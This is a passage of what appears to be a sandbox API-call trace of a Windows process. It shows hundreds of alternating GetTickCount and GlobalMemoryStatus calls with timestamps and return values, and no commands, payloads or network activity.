lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.668] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.668] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.669] GetTickCount () returned 0x5a30 [0097.669] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.670] GetTickCount () returned 0x5a30 [0097.670] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.670] GetTickCount () returned 0x5a30 [0097.670] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.670] GetTickCount () returned 0x5a30 [0097.670] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.670] GetTickCount () returned 0x5a3f [0097.670] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.671] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.671] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.672] GetTickCount () returned 0x5a3f [0097.672] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.673] GetTickCount () returned 0x5a3f [0097.673] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.674] GetTickCount () returned 0x5a3f [0097.674] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.675] GetTickCount () returned 0x5a3f [0097.675] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.676] GetTickCount () returned 0x5a3f [0097.676] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.677] GetTickCount () returned 0x5a3f [0097.677] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.678] GetTickCount () returned 0x5a3f [0097.678] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.679] GetTickCount () returned 0x5a3f [0097.679] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.680] GetTickCount () returned 0x5a3f [0097.680] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.681] GetTickCount () returned 0x5a3f [0097.681] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.682] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.682] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.683] GetTickCount () returned 0x5a3f [0097.683] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.684] GetTickCount () returned 0x5a3f [0097.684] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.685] GetTickCount () returned 0x5a3f [0097.685] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.693] GetTickCount () returned 0x5a4f [0097.693] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.693] GetTickCount () returned 0x5a4f [0097.693] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.693] GetTickCount () returned 0x5a4f [0097.693] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.693] GetTickCount () returned 0x5a4f [0097.693] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.694] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.694] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.695] GetTickCount () returned 0x5a4f [0097.695] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.696] GetTickCount () returned 0x5a4f [0097.696] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.697] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: 